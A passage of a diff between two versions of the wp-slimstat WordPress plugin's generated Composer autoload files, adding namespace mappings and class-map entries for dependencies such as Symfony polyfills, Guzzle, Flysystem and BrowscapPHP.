'Symfony\\\\Polyfill\\\\Php80\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-php80'),\n+    'Symfony\\\\Polyfill\\\\Php73\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-php73'),\n+    'Symfony\\\\Polyfill\\\\Mbstring\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-mbstring'),\n+    'Symfony\\\\Polyfill\\\\Intl\\\\Normalizer\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-normalizer'),\n+    'Symfony\\\\Polyfill\\\\Intl\\\\Grapheme\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-grapheme'),\n+    'Symfony\\\\Polyfill\\\\Ctype\\\\' => array($vendorDir . '\u002Fsymfony\u002Fpolyfill-ctype'),\n+    'Symfony\\\\Contracts\\\\Service\\\\' => array($vendorDir . '\u002Fsymfony\u002Fservice-contracts'),\n+    'Symfony\\\\Component\\\\String\\\\' => array($vendorDir . '\u002Fsymfony\u002Fstring'),\n+    'Symfony\\\\Component\\\\Filesystem\\\\' => array($vendorDir . '\u002Fsymfony\u002Ffilesystem'),\n+    'Symfony\\\\Component\\\\Console\\\\' => array($vendorDir . '\u002Fsymfony\u002Fconsole'),\n     'SlimStat\\\\' => array($baseDir . '\u002Fsrc'),\n+    'Psr\\\\SimpleCache\\\\' => array($vendorDir . '\u002Fpsr\u002Fsimple-cache\u002Fsrc'),\n+    'Psr\\\\Log\\\\' => array($vendorDir . '\u002Fpsr\u002Flog\u002FPsr\u002FLog'),\n+    'Psr\\\\Http\\\\Message\\\\' => array($vendorDir . '\u002Fpsr\u002Fhttp-factory\u002Fsrc', $vendorDir . '\u002Fpsr\u002Fhttp-message\u002Fsrc'),\n+    'Psr\\\\Http\\\\Client\\\\' => array($vendorDir . '\u002Fpsr\u002Fhttp-client\u002Fsrc'),\n+    'Psr\\\\Container\\\\' => array($vendorDir . '\u002Fpsr\u002Fcontainer\u002Fsrc'),\n+    'Psr\\\\Cache\\\\' => array($vendorDir . '\u002Fpsr\u002Fcache\u002Fsrc'),\n+    'MatthiasMullie\\\\Scrapbook\\\\' => array($vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc'),\n+    'League\\\\MimeTypeDetection\\\\' => array($vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc'),\n+    'League\\\\Flysystem\\\\' => array($vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc'),\n+    'GuzzleHttp\\\\Psr7\\\\' => array($vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc'),\n+    'GuzzleHttp\\\\Promise\\\\' => array($vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc'),\n+    'GuzzleHttp\\\\' => array($vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc'),\n+    'BrowscapPHP\\\\' => array($vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc'),\n );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_static.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_static.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_static.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_static.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -7,27 +7,439 @@\n class ComposerStaticInit09c8e0e0cfea3b2fb368cb99a2eeaaec\n {\n     public static $files = array (\n-        '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '\u002F..' . '\u002Fralouphie\u002Fgetallheaders\u002Fsrc\u002Fgetallheaders.php',\n         '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fdeprecation-contracts\u002Ffunction.php',\n+        '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-mbstring\u002Fbootstrap.php',\n+        '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-ctype\u002Fbootstrap.php',\n+        'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002Fbootstrap.php',\n+        '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '\u002F..' . '\u002Fralouphie\u002Fgetallheaders\u002Fsrc\u002Fgetallheaders.php',\n+        '8825ede83f2f289127722d4e842cf7e8' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Fbootstrap.php',\n+        'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Fbootstrap.php',\n+        '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php73\u002Fbootstrap.php',\n+        'b6b991a57620e2fb6b2f66f03fe9ddc2' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring\u002FResources\u002Ffunctions.php',\n+        '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002Ffunctions_include.php',\n     );\n \n     public static $prefixLengthsPsr4 = array (\n         'S' =>\n         array (\n+            'Symfony\\\\Polyfill\\\\Php80\\\\' => 23,\n+            'Symfony\\\\Polyfill\\\\Php73\\\\' => 23,\n+            'Symfony\\\\Polyfill\\\\Mbstring\\\\' => 26,\n+            'Symfony\\\\Polyfill\\\\Intl\\\\Normalizer\\\\' => 33,\n+            'Symfony\\\\Polyfill\\\\Intl\\\\Grapheme\\\\' => 31,\n+            'Symfony\\\\Polyfill\\\\Ctype\\\\' => 23,\n+            'Symfony\\\\Contracts\\\\Service\\\\' => 26,\n+            'Symfony\\\\Component\\\\String\\\\' => 25,\n+            'Symfony\\\\Component\\\\Filesystem\\\\' => 29,\n+            'Symfony\\\\Component\\\\Console\\\\' => 26,\n             'SlimStat\\\\' => 9,\n         ),\n+        'P' =>\n+        array (\n+            'Psr\\\\SimpleCache\\\\' => 16,\n+            'Psr\\\\Log\\\\' => 8,\n+            'Psr\\\\Http\\\\Message\\\\' => 17,\n+            'Psr\\\\Http\\\\Client\\\\' => 16,\n+            'Psr\\\\Container\\\\' => 14,\n+            'Psr\\\\Cache\\\\' => 10,\n+        ),\n+        'M' =>\n+        array (\n+            'MatthiasMullie\\\\Scrapbook\\\\' => 25,\n+        ),\n+        'L' =>\n+        array (\n+            'League\\\\MimeTypeDetection\\\\' => 25,\n+            'League\\\\Flysystem\\\\' => 17,\n+        ),\n+        'G' =>\n+        array (\n+            'GuzzleHttp\\\\Psr7\\\\' => 16,\n+            'GuzzleHttp\\\\Promise\\\\' => 19,\n+            'GuzzleHttp\\\\' => 11,\n+        ),\n+        'B' =>\n+        array (\n+            'BrowscapPHP\\\\' => 12,\n+        ),\n     );\n \n     public static $prefixDirsPsr4 = array (\n+        'Symfony\\\\Polyfill\\\\Php80\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80',\n+        ),\n+        'Symfony\\\\Polyfill\\\\Php73\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php73',\n+        ),\n+        'Symfony\\\\Polyfill\\\\Mbstring\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-mbstring',\n+        ),\n+        'Symfony\\\\Polyfill\\\\Intl\\\\Normalizer\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-normalizer',\n+        ),\n+        'Symfony\\\\Polyfill\\\\Intl\\\\Grapheme\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-grapheme',\n+        ),\n+        'Symfony\\\\Polyfill\\\\Ctype\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-ctype',\n+        ),\n+        'Symfony\\\\Contracts\\\\Service\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fservice-contracts',\n+        ),\n+        'Symfony\\\\Component\\\\String\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fstring',\n+        ),\n+        'Symfony\\\\Component\\\\Filesystem\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Ffilesystem',\n+        ),\n+        'Symfony\\\\Component\\\\Console\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fconsole',\n+        ),\n         'SlimStat\\\\' =>\n         array (\n             0 => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc',\n         ),\n+        'Psr\\\\SimpleCache\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fsimple-cache\u002Fsrc',\n+        ),\n+        'Psr\\\\Log\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog',\n+        ),\n+        'Psr\\\\Http\\\\Message\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc',\n+            1 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc',\n+        ),\n+        'Psr\\\\Http\\\\Client\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-client\u002Fsrc',\n+        ),\n+        'Psr\\\\Container\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcontainer\u002Fsrc',\n+        ),\n+        'Psr\\\\Cache\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcache\u002Fsrc',\n+        ),\n+        'MatthiasMullie\\\\Scrapbook\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc',\n+        ),\n+        'League\\\\MimeTypeDetection\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc',\n+        ),\n+        'League\\\\Flysystem\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc',\n+        ),\n+        'GuzzleHttp\\\\Psr7\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc',\n+        ),\n+        'GuzzleHttp\\\\Promise\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc',\n+        ),\n+        'GuzzleHttp\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc',\n+        ),\n+        'BrowscapPHP\\\\' =>\n+        array (\n+            0 => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc',\n+        ),\n     );\n \n     public static $classMap = array (\n+        'Attribute' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FAttribute.php',\n+        'BrowscapPHP\\\\Browscap' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscap.php',\n+        'BrowscapPHP\\\\BrowscapInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapInterface.php',\n+        'BrowscapPHP\\\\BrowscapUpdater' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapUpdater.php',\n+        'BrowscapPHP\\\\BrowscapUpdaterInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapUpdaterInterface.php',\n+        'BrowscapPHP\\\\Cache\\\\BrowscapCache' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCache\u002FBrowscapCache.php',\n+        'BrowscapPHP\\\\Cache\\\\BrowscapCacheInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCache\u002FBrowscapCacheInterface.php',\n+        'BrowscapPHP\\\\Command\\\\CheckUpdateCommand' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FCheckUpdateCommand.php',\n+        'BrowscapPHP\\\\Command\\\\ConvertCommand' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FConvertCommand.php',\n+        'BrowscapPHP\\\\Command\\\\FetchCommand' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FFetchCommand.php',\n+        'BrowscapPHP\\\\Command\\\\ParserCommand' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FParserCommand.php',\n+        'BrowscapPHP\\\\Command\\\\UpdateCommand' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FUpdateCommand.php',\n+        'BrowscapPHP\\\\Data\\\\PropertyFormatter' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FData\u002FPropertyFormatter.php',\n+        'BrowscapPHP\\\\Data\\\\PropertyHolder' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FData\u002FPropertyHolder.php',\n+        'BrowscapPHP\\\\Exception' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException.php',\n+        'BrowscapPHP\\\\Exception\\\\DomainException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FDomainException.php',\n+        'BrowscapPHP\\\\Exception\\\\ErrorCachedVersionException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FErrorCachedVersionException.php',\n+        'BrowscapPHP\\\\Exception\\\\ErrorReadingFileException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FErrorReadingFileException.php',\n+        'BrowscapPHP\\\\Exception\\\\FetcherException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFetcherException.php',\n+        'BrowscapPHP\\\\Exception\\\\FileNameMissingException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFileNameMissingException.php',\n+        'BrowscapPHP\\\\Exception\\\\FileNotFoundException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFileNotFoundException.php',\n+        'BrowscapPHP\\\\Exception\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FInvalidArgumentException.php',\n+        'BrowscapPHP\\\\Exception\\\\NoCachedVersionException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FNoCachedVersionException.php',\n+        'BrowscapPHP\\\\Exception\\\\NoNewVersionException' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FNoNewVersionException.php',\n+        'BrowscapPHP\\\\Formatter\\\\FormatterInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FFormatterInterface.php',\n+        'BrowscapPHP\\\\Formatter\\\\LegacyFormatter' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FLegacyFormatter.php',\n+        'BrowscapPHP\\\\Formatter\\\\PhpGetBrowser' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FPhpGetBrowser.php',\n+        'BrowscapPHP\\\\Helper\\\\Converter' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FConverter.php',\n+        'BrowscapPHP\\\\Helper\\\\ConverterInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FConverterInterface.php',\n+        'BrowscapPHP\\\\Helper\\\\Exception' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FException.php',\n+        'BrowscapPHP\\\\Helper\\\\Filesystem' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FFilesystem.php',\n+        'BrowscapPHP\\\\Helper\\\\IniLoader' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FIniLoader.php',\n+        'BrowscapPHP\\\\Helper\\\\IniLoaderInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FIniLoaderInterface.php',\n+        'BrowscapPHP\\\\Helper\\\\LoggerHelper' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FLoggerHelper.php',\n+        'BrowscapPHP\\\\Helper\\\\Quoter' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FQuoter.php',\n+        'BrowscapPHP\\\\Helper\\\\QuoterInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FQuoterInterface.php',\n+        'BrowscapPHP\\\\Helper\\\\Support' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FSupport.php',\n+        'BrowscapPHP\\\\Helper\\\\SupportInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FSupportInterface.php',\n+        'BrowscapPHP\\\\IniParser\\\\IniParser' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FIniParser\u002FIniParser.php',\n+        'BrowscapPHP\\\\IniParser\\\\ParserInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FIniParser\u002FParserInterface.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\GetData' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetData.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\GetDataInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetDataInterface.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\GetPattern' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetPattern.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\GetPatternInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetPatternInterface.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\Pattern' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FPattern.php',\n+        'BrowscapPHP\\\\Parser\\\\Helper\\\\SubKey' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FSubKey.php',\n+        'BrowscapPHP\\\\Parser\\\\Ini' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FIni.php',\n+        'BrowscapPHP\\\\Parser\\\\ParserInterface' => __DIR__ . '\u002F..' . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FParserInterface.php',\n         'Composer\\\\InstalledVersions' => __DIR__ . '\u002F..' . '\u002Fcomposer\u002FInstalledVersions.php',\n+        'GuzzleHttp\\\\BodySummarizer' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FBodySummarizer.php',\n+        'GuzzleHttp\\\\BodySummarizerInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FBodySummarizerInterface.php',\n+        'GuzzleHttp\\\\Client' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClient.php',\n+        'GuzzleHttp\\\\ClientInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClientInterface.php',\n+        'GuzzleHttp\\\\ClientTrait' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClientTrait.php',\n+        'GuzzleHttp\\\\Cookie\\\\CookieJar' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FCookieJar.php',\n+        'GuzzleHttp\\\\Cookie\\\\CookieJarInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FCookieJarInterface.php',\n+        'GuzzleHttp\\\\Cookie\\\\FileCookieJar' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FFileCookieJar.php',\n+        'GuzzleHttp\\\\Cookie\\\\SessionCookieJar' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FSessionCookieJar.php',\n+        'GuzzleHttp\\\\Cookie\\\\SetCookie' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FSetCookie.php',\n+        'GuzzleHttp\\\\Exception\\\\BadResponseException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FBadResponseException.php',\n+        'GuzzleHttp\\\\Exception\\\\ClientException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FClientException.php',\n+        'GuzzleHttp\\\\Exception\\\\ConnectException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FConnectException.php',\n+        'GuzzleHttp\\\\Exception\\\\GuzzleException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FGuzzleException.php',\n+        'GuzzleHttp\\\\Exception\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FInvalidArgumentException.php',\n+        'GuzzleHttp\\\\Exception\\\\RequestException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FRequestException.php',\n+        'GuzzleHttp\\\\Exception\\\\ServerException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FServerException.php',\n+        'GuzzleHttp\\\\Exception\\\\TooManyRedirectsException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FTooManyRedirectsException.php',\n+        'GuzzleHttp\\\\Exception\\\\TransferException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FTransferException.php',\n+        'GuzzleHttp\\\\HandlerStack' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandlerStack.php',\n+        'GuzzleHttp\\\\Handler\\\\CurlFactory' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlFactory.php',\n+        'GuzzleHttp\\\\Handler\\\\CurlFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlFactoryInterface.php',\n+        'GuzzleHttp\\\\Handler\\\\CurlHandler' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlHandler.php',\n+        'GuzzleHttp\\\\Handler\\\\CurlMultiHandler' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlMultiHandler.php',\n+        'GuzzleHttp\\\\Handler\\\\EasyHandle' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FEasyHandle.php',\n+        'GuzzleHttp\\\\Handler\\\\HeaderProcessor' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FHeaderProcessor.php',\n+        'GuzzleHttp\\\\Handler\\\\MockHandler' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FMockHandler.php',\n+        'GuzzleHttp\\\\Handler\\\\Proxy' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FProxy.php',\n+        'GuzzleHttp\\\\Handler\\\\StreamHandler' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FStreamHandler.php',\n+        'GuzzleHttp\\\\MessageFormatter' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMessageFormatter.php',\n+        'GuzzleHttp\\\\MessageFormatterInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMessageFormatterInterface.php',\n+        'GuzzleHttp\\\\Middleware' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMiddleware.php',\n+        'GuzzleHttp\\\\Pool' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FPool.php',\n+        'GuzzleHttp\\\\PrepareBodyMiddleware' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FPrepareBodyMiddleware.php',\n+        'GuzzleHttp\\\\Promise\\\\AggregateException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FAggregateException.php',\n+        'GuzzleHttp\\\\Promise\\\\CancellationException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCancellationException.php',\n+        'GuzzleHttp\\\\Promise\\\\Coroutine' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCoroutine.php',\n+        'GuzzleHttp\\\\Promise\\\\Create' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCreate.php',\n+        'GuzzleHttp\\\\Promise\\\\Each' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FEach.php',\n+        'GuzzleHttp\\\\Promise\\\\EachPromise' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FEachPromise.php',\n+        'GuzzleHttp\\\\Promise\\\\FulfilledPromise' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FFulfilledPromise.php',\n+        'GuzzleHttp\\\\Promise\\\\Is' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FIs.php',\n+        'GuzzleHttp\\\\Promise\\\\Promise' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromise.php',\n+        'GuzzleHttp\\\\Promise\\\\PromiseInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromiseInterface.php',\n+        'GuzzleHttp\\\\Promise\\\\PromisorInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromisorInterface.php',\n+        'GuzzleHttp\\\\Promise\\\\RejectedPromise' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FRejectedPromise.php',\n+        'GuzzleHttp\\\\Promise\\\\RejectionException' => 